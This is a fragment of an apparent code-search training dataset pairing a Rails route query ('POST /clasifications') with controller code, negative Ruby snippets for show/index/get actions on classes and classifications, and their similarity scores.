"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n entity_type = Occi::Core::Resource unless entity_type\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{path.include?('-/')} #{entity_type} #{response.headers.inspect}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def with_photo\n @classifieds = Classified.with_photos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @classifieds }\n end\n end",
"def index\n @programs = Program.all(:include => :category)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def get_classes_by_professor( professor )\n # TODO: Try not to use raw fragments of SQL queries?\n @classes = Classis\n .select( 'subjects.title' )\n .where( \"professor_id = ?\", professor.id )\n .joins( :subject )\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def show\n @confession = Confession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @confession }\n end\n end",
"def show\n @classroom = classroom.find(params[:id])\n\n render json: @classroom\n end",
"def show\n render json: @specification, serializer: Web::V1::SpecificationSerializer\n end",
"def new\n @clclass = Clclass.new\n @courses = Course.all\n @teachers = Teacher.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clclass }\n end\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def show\n @conclusion = Conclusion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conclusion }\n end\n end",
"def show\n @entity = @klass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end",
"def show\n @research_c = ResearchC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @research_c }\n end\n end",
"def show\n render json: @course, status: :found\n end",
"def index\n @school_classes = SchoolClass.where('school_id = ?', current_user.user_info.school_id).order(\"name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @school_classes }\n end\n end",
"def show\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schoolclass }\n end\n end",
"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{entity_type} #{path.include?('-/')}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def show\n @classwork = Classwork.find(params[:id])\n \n drop_breadcrumb(@classwork.name, admin_classwork_path(@classwork))\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classwork }\n end\n end",
"def cls\n t = sanitize_search(params[:id])\n nt_id = NodeType.find_by_name(t) \n @nodes = Node.active.paginate_all_by_node_type_id(nt_id, :page => params[:page])\n render :action => 'list'\n end",
"def show\n @finding_category = FindingCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finding_category }\n end\n end"
] |
[
"0.73342395",
"0.61597574",
"0.6052229",
"0.6044177",
"0.5962895",
"0.59367573",
"0.5924675",
"0.5913115",
"0.5905584",
"0.58767897",
"0.5853619",
"0.5838951",
"0.5827974",
"0.5788656",
"0.57782507",
"0.5752925",
"0.5745936",
"0.57021964",
"0.5683032",
"0.56769085",
"0.5672349",
"0.5657632",
"0.56539375",
"0.56299293",
"0.55906373",
"0.5590624",
"0.55836135",
"0.55820674",
"0.5571105",
"0.5570788",
"0.55528134",
"0.55427384",
"0.5541728",
"0.5526493",
"0.55258197",
"0.5523052",
"0.5518338",
"0.5514057",
"0.5505943",
"0.5500727",
"0.5491519",
"0.5462427",
"0.54529357",
"0.54448813",
"0.54330814",
"0.5422781",
"0.5414986",
"0.5412011",
"0.5406709",
"0.5402745",
"0.54020804",
"0.5401715",
"0.53959346",
"0.5393892",
"0.538983",
"0.53875494",
"0.5382453",
"0.5375688",
"0.53635144",
"0.5359628",
"0.53576905",
"0.5357616",
"0.5357557",
"0.53502476",
"0.53500867",
"0.5344861",
"0.5335163",
"0.53280693",
"0.532577",
"0.5315334",
"0.5295316",
"0.52938247",
"0.5288798",
"0.52855444",
"0.52853584",
"0.52792436",
"0.52745736",
"0.52732635",
"0.5270997",
"0.5267364",
"0.5264585",
"0.526152",
"0.5251067",
"0.52423674",
"0.5231851",
"0.52278996",
"0.5227346",
"0.5226671",
"0.5218258",
"0.5213625",
"0.5213206",
"0.5211343",
"0.52100164",
"0.520523",
"0.5201843",
"0.52010715",
"0.5197538",
"0.51971215",
"0.5188619",
"0.5185664"
] |
0.704686
|
1
|
GET /clasifications/1 or /clasifications/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def classifications(classification)\n params = {\n classification: classification\n }.compact\n\n _get(\"/account/classifications\", params) { |json| json }\n end",
"def index\n @clasifications = Clasification.all\n end",
"def show\n @class = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class }\n end\n end",
"def index\n @clclasses = Clclass.paginate(page: params[:page], :per_page => 10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clclasses }\n end\n end",
"def show\n @clasificacion_pegi = ClasificacionPegi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clasificacion_pegi }\n end\n end",
"def index\n @citizenship_classes = @grantee.citizenship_classes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @citizenship_classes }\n end\n end",
"def show\n @classification = Classification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classification }\n end\n end",
"def show\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @citizenship_class }\n end\n end",
"def make_api_call(args)\n uri = URI(\"https://classes.cornell.edu/api/2.0/search/classes.json?roster=#{args[0]}&subject=#{args[1]}&acadCareer[]=#{args[2]}&classLevels[]=#{args[3]}\")\n begin\n Net::HTTP.start(uri.host, uri.port,\n :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new uri\n\n response = http.request request # Net::HTTPResponse object\n hash_response = JSON.parse(response.body)\n hash_response\n end\n rescue JSON::ParserError\n {\"status\": \"Error\"} # Returning an empty hash\n end\nend",
"def show\n @classe = Classe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classe }\n end\n end",
"def index\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @info_classes }\r\n format.json { render :text => get_json }\r\n end\r\n end",
"def show\n @class_taken = ClassTaken.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @class_taken }\n end\n end",
"def set_clasification\n @clasification = Clasification.find(params[:id])\n end",
"def show\n @classtable = Classtable.find(params[:id])\n #@classtable = Classtable.find(:all, :conditions => { :school_id => @classtable1.id })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classtable }\n end\n end",
"def referClass\n result = Hash.new\n result['status'] = true\n begin # try\n @lang = Helper.getLang\n @class = HomePage.referClass(params[:id].to_i)\n if @class != nil\n result['status'] = true\n result['html'] = render_to_string(partial: \"home/course_details\")\n else\n result['status'] = false\n end\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def show\n @iclass = Iclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @iclass }\n end\n end",
"def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end",
"def index\n @classifieds = Classified.all\n end",
"def show\n @clasificacion = Clasificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clasificacion }\n end\n end",
"def show\n @myclass = Myclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myclass }\n end\n end",
"def show\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_class }\n end\n end",
"def get_classes_with_http_info(_class, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BlueOceanApi.get_classes ...'\n end\n # verify the required parameter '_class' is set\n if @api_client.config.client_side_validation && _class.nil?\n fail ArgumentError, \"Missing the required parameter '_class' when calling BlueOceanApi.get_classes\"\n end\n # resource path\n local_var_path = '/blue/rest/classes/{class}'.sub('{' + 'class' + '}', _class.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jenkins_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BlueOceanApi#get_classes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @criterion }\n end\n end",
"def index\n page = params[:page]\n per_page = (params[:per_page] || 10).to_i\n if page\n entities = _all_instances_query.page(page).per(per_page)\n render json: entities, entity: _get_class,\n meta: { total_pages: entities.total_pages, total_count: entities.total_count }\n else\n entities = _all_instances_query\n respond_with entities, entity: '_get_class'\n end\n end",
"def show\n @classication = Classication.find(params[:id])\n @movies = @classication.movies\n\n respond_to do |format|\n format.html\n format.json {render :json => @classication}\n end\n end",
"def show_classes\n classes = Rails.cache.fetch(\"#{current_user.cache_key}/allClasses\", expires_in: 1.hours) do\n keytechAPI.classes.loadAllClasses\n end\n\n # Filter only to files, office file and folders, ignore all CAD-related types\n @classes = []\n classes.each do |element_class|\n next unless element_class.classKey.ends_with?('_WF') ||\n element_class.classKey.ends_with?('_FD') ||\n element_class.classKey.ends_with?('_FILE') ||\n element_class.classKey.ends_with?('_WW') ||\n element_class.classKey.ends_with?('_XL') ||\n element_class.classKey.ends_with?('_PRJ')\n\n if !element_class.classKey.starts_with?('DEFAULT') && element_class.isActive\n @classes.push element_class\n end\n end\n\n response.headers['Cache-Control'] = 'public, max-age=60'\n respond_to do |format|\n format.json do\n render json: @classes\n end\n end\n end",
"def fetch_classes_list\n uri = URI(BASE_URI + \"classes\")\n classes = make_request(uri)\n classes_instances = classes[\"results\"].map do |classes_data|\n Classes.new classes_data[\"name\"]\n end\n end",
"def index\n @courts = Court.by_name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def index\n @discipline_class_exam_types = DisciplineClassExamType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_class_exam_types }\n end\n end",
"def show\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end",
"def show\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @constitution }\n end\n end",
"def index\n @classrooms = Classroom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @classrooms }\n end\n end",
"def show\n @court_type = CourtType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court_type }\n end\n end",
"def class_json\n clazz = @offering.clazz\n section = clazz.section && clazz.section.length > 0 ? clazz.section : nil\n section = section ? \" (#{section})\" : \"\"\n {\n name: clazz.name + section,\n students: @students\n .sort_by { |s| \"#{s.last_name} #{s.first_name}\".downcase }\n .map { |s| student_json(s) }\n }\n end",
"def index\n respond_to do |format|\n format.html {\n @search = Classwork.search(params[:search])\n @classworks = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n }\n format.json { \n render json: Classwork.select(\"id, name as text\").to_json \n }\n end\n end",
"def servers_with_class(classname)\n hosts = []\n query = ['and', ['=', 'type', 'Class'], ['=', 'title', classname]]\n response = request('resources', query)\n response.each do |r|\n hostname = r['certname']\n hosts << hostname\n end\n\n hosts\nend",
"def index\n @glasses = Glass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @glasses }\n end\n end",
"def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end",
"def show\n @book_of_class = BookOfClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_of_class }\n end\n end",
"def index\n @clas = Cla.all\n end",
"def show\n \n if params.has_key?(:discipline_class_id)\n @discipline_class = DisciplineClass.find(params[:discipline_class_id])\n end\n if params.has_key?(:registration_id)\n @registration = Registration.find(params[:registration_id])\n end \n \n @registration_class = RegistrationClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @registration_class }\n end\n end",
"def index\n @parents = Parent.find_all_by_class_code(params[:course_id])\n @parents = Parent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parents }\n end\n end",
"def show\n @classified = Classified.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classified }\n end\n end",
"def show\n if signed_in? && applied_class?\n @user_ids = ClclassesUser.where(:clclass_id=>params[:id])\n @users = Array.new\n @user_ids.each do |u|\n @users.push(User.find(u.user_id))\n end\n @lectures = Lecture.all :joins=>:clclass\n render 'clclass'\n return\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clclass }\n end\n end",
"def show\n @research_c = ResearchC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @research_c }\n end\n end",
"def show\n @user_class = UserClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_class }\n end\n end",
"def show\n @entity = @klass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end",
"def show\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schoolclass }\n end\n end",
"def index\n @project_classifications = ProjectClassification.all\n end",
"def index\n @court_types = CourtType.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @court_types }\n end\n end",
"def show\n @classroom = classroom.find(params[:id])\n\n render json: @classroom\n end",
"def update\n respond_to do |format|\n if @clasification.update(clasification_params)\n format.html { redirect_to @clasification, notice: \"Clasification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @clasification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @convention_category = ConventionCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @convention_category }\n end\n end",
"def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end",
"def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end",
"def create\n @clasification = Clasification.new(clasification_params)\n\n respond_to do |format|\n if @clasification.save\n format.html { redirect_to @clasification, notice: \"Clasification was successfully created.\" }\n format.json { render :show, status: :created, location: @clasification }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @confession = Confession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @confession }\n end\n end",
"def find_class_period(id)\n restHttpGet(\"#{class_period_endpoint}/#{id}\")\n case @res.code\n when 200\n JSON.parse(@res)\n when 404\n nil\n else\n @res.code.to_s.should match(/^(200|404)$/)\n end\nend",
"def show\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_class }\n end\n end",
"def show\n @clasp = Clasp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clasp }\n end\n end",
"def index\n @klasses = Klass.paginate(:page => params[:page], per_page: 30)\n @number = Klass.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Klass.all.to_json(include: :period) }\n end\n end",
"def show\n @classwork = Classwork.find(params[:id])\n \n drop_breadcrumb(@classwork.name, admin_classwork_path(@classwork))\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @classwork }\n end\n end",
"def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n render json: @course, status: :found\n end",
"def show\n @connection_category_class = ConnectionCategoryClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @connection_category_class }\n end\n end",
"def request(klass, path, data={})\n url = url(path)\n http = http(url)\n req = build_request(klass, url, data)\n resp = http.request(req) # send request\n load_json(resp)\n end",
"def show\n @clazz = Clazz.find(params[:id])\n\n if(params[:current].nil?)\n @current_page = @clazz.sections.first.pages.first\n else\n @current_page = Section.find(params[:current]).pages.first\n @color = @current_page.section.color[:color]\n end\n @current_page_id = @current_page.id\n @color = @current_page.section.color\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clazz }\n end\n end",
"def show\n @conclusion = Conclusion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conclusion }\n end\n end",
"def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end",
"def show\n @reflection = Reflection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reflection }\n end\n end",
"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n entity_type = Occi::Core::Resource unless entity_type\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{path.include?('-/')} #{entity_type} #{response.headers.inspect}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def show\n @finding_category = FindingCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finding_category }\n end\n end",
"def show\n @court = Court.friendly.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index\n @classifiers = Classifier.all\n end",
"def new\n @class = Classe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class }\n end\n end",
"def classification\n classifications = @data[\"spData\"][\"classifications\"]\n if classifications.empty?\n raise Holdings::Error, NO_CLASSIFICATIONS_ERROR\n end\n Classification.new(classifications.first)\n end",
"def classifications\n classifications = @data[\"spData\"][\"classifications\"]\n if not classifications\n raise Holdings::Error, NO_CLASSIFICATIONS_ERROR\n end\n classifications.first[\"classifications\"]\n end",
"def show\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concour }\n end\n end",
"def index\n search = Sunspot.new_search(Classification)\n query = params[:query].to_s.strip\n if query.present?\n @query = query.dup\n search.build do\n fulltext query\n end\n end\n unless params[:mode] == 'add'\n subject = @subject\n classification_type = @classification_type\n search.build do\n with(:subject_ids).equal_to subject.id if subject\n with(:classification_type_id).equal_to classification_type.id if classification_type\n end\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Classification.default_per_page)\n @classifications = search.execute!.results\n\n session[:params] = {} unless session[:params]\n session[:params][:classification] = params\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def new\n @clclass = Clclass.new\n @courses = Course.all\n @teachers = Teacher.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clclass }\n end\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{entity_type} #{path.include?('-/')}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def show\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_type }\n end\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def item_classes\r\n BnetApi::make_request('/wow/data/item/classes')\r\n end",
"def list_categories(class_id='')\n url = \"#{@@request_url}/Class.listClasses?appid=#{@@appid}&id=#{class_id}\"\n data = get_xml(url)\n return [] unless data[\"status\"] == 'ok' \n return data[\"ClassList\"][0][\"Class\"]\n end",
"def show\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_success_factor_type }\n end\n end",
"def index\n @critical_success_factor_types = CriticalSuccessFactorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factor_types }\n end\n end",
"def show\n @taxonomy_category = TaxonomyCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taxonomy_category }\n end\n end",
"def show\n @program_classification = ProgramClassification.find params[:id]\n end",
"def show\n @exam_category = ExamCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exam_category }\n end\n end",
"def show\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ctype }\n end\n end",
"def show\n @contacter = Contacter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contacter }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @klass = Klass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @klass }\n end\n end",
"def show\n @classified_person_category = ClassifiedPersonCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @classified_person_category }\n end\n end",
"def index\n @classses = Classs.all\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def index\n @portal_clazzes = Portal::Clazz.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_clazzes }\n end\n end",
"def index\n @programs = Program.all(:include => :category)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end"
] |
[
"0.68108886",
"0.67072684",
"0.6277717",
"0.619331",
"0.6120883",
"0.60485315",
"0.60104614",
"0.59777987",
"0.5952075",
"0.5938955",
"0.591932",
"0.5914917",
"0.5884447",
"0.5874903",
"0.5855379",
"0.5845953",
"0.5764008",
"0.57478034",
"0.57432467",
"0.57344365",
"0.57149106",
"0.5711484",
"0.5699097",
"0.5692503",
"0.56820166",
"0.5680833",
"0.56770587",
"0.5657491",
"0.5630983",
"0.56267166",
"0.5621928",
"0.56185067",
"0.5617346",
"0.56166655",
"0.56059116",
"0.56011677",
"0.5588611",
"0.5585686",
"0.55678445",
"0.5563681",
"0.5546322",
"0.5541784",
"0.55316716",
"0.5519205",
"0.55182916",
"0.5515214",
"0.55138344",
"0.5496325",
"0.54917914",
"0.5490487",
"0.54863244",
"0.5485434",
"0.5480556",
"0.5479794",
"0.54757935",
"0.5473186",
"0.5455585",
"0.5451064",
"0.54489887",
"0.543612",
"0.5435925",
"0.54235953",
"0.54226166",
"0.5405093",
"0.5404812",
"0.54012644",
"0.5400017",
"0.53954303",
"0.53943616",
"0.5390449",
"0.53851014",
"0.5367473",
"0.53641653",
"0.53584695",
"0.5350995",
"0.534352",
"0.53380406",
"0.5327659",
"0.53188235",
"0.5317668",
"0.53157943",
"0.531284",
"0.5312244",
"0.53103435",
"0.5309079",
"0.5306707",
"0.53065157",
"0.5303573",
"0.52973866",
"0.52945983",
"0.52939755",
"0.52861494",
"0.52810484",
"0.5278218",
"0.5269615",
"0.5267969",
"0.52669704",
"0.5265171",
"0.5265102",
"0.52624834",
"0.52586395"
] |
0.0
|
-1
|
POST /clasifications or /clasifications.json
|
def create
@clasification = Clasification.new(clasification_params)
respond_to do |format|
if @clasification.save
format.html { redirect_to @clasification, notice: "Clasification was successfully created." }
format.json { render :show, status: :created, location: @clasification }
else
format.html { render :new, status: :unprocessable_entity }
format.json { render json: @clasification.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n Rails.logger.debug \"[ClassificationsController.create] params.class: #{params.class}, params: #{params}\"\n @classifaction = Classification.new transaction_data: params\n @classifaction.classifiers << StatusCodeClassifier.classify( @classifaction.transaction_data )\n @classifaction.classify\n\n if @classifaction.save\n render json: @classifaction.as_jsonapi, status: :created\n else\n render json: { error: 'oops' }, status: 500\n end\n end",
"def clasification_params\n params.require(:clasification).permit(:clasification)\n end",
